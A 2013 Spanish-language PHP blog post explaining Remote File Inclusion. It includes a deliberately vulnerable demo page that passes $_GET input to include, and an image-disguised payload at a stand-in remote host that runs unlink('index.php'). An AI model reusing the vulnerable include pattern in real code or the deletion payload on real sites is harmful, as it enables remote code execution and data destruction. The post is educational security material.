sábado, 2 de febrero de 2013

Evitar Remote File Inclusion


Remote File Inclusion es un tipo de ataque web que puede realizar auténticos destrozos en un sitio web, desde la ejecución de código remoto para extraer información sensible, hasta llegar a la propia eliminación de los archivos. Esto es debido a la imprudencia de algunos programadores que pasan variables $_POST o $_GET a la inclusión de archivos, es decir include, include_once, require, require_once, ¿Qué ocurre?, que permite la ejecución de código remoto a través por ejemplo de imágenes, o archivos txt. 

Ejemplo de vulnerabilidad ...

$archivo = $_POST["archivo"]; 
include $archivo; 

Si en la variable $archivo se pasa un valor a un archivo de una web remota, por ejemplo ...

http://www.remoto.com/hack.jpg 

Y el código oculto de la imagen hack.jpg es ...  

<?php unlink("index.php"); ?> 

Ocurre que por una imprudencia el archivo index.php ha sido borrado del mapa en un instante.

Para verlo más claro descargar el siguiente ejemplo ... remote-file-inclusion.rar
 
Código de index.php ...

<?php 
if (isset($_GET["file"]))
{
$file = $_GET["file"];
include $file;
}
?>
<html>
<head>
<title>DEMO REMOTE FILE INCLUSION</title>
</head>
<body>
<center>
<a href="http://php-estudios.blogspot.com">PHP ESTUDIOS</a>
<h3>
REMOTE FILE INCLUSION</h3>
Este HACK proviene debido a que nunca se deben pasar variables $_GET o $_POST a include, include_once, require, require_once<br>
Ejemplo ...
$variable = $_POST["variable"];
<br>
include "$variable";
<br>
Si el valor de $variable es por ejemplo ... http://remoto.com/hack.jpg 
<br>
y el código oculto en la imagen hack.jpg es ejecutado ... ejemplo: unlink("index.php");
<br>
Hay como resultado la eliminación del archivo index.php
<br>
<br>
<form method="get" action="">
File Inclusion: <input type="text" name="file" value="hack/hack.jpg">
<input type="submit" value="Este archivo será hackeado si haces click aquí">
</form>
</center>
</body>
</html>


Código de hack.jpg ...

<?php
echo 
"<center>
<h1 style='color: red;'>
Web hackeada a través de Remote File Inclusion</h1>
</center>
";
?>




No hay comentarios: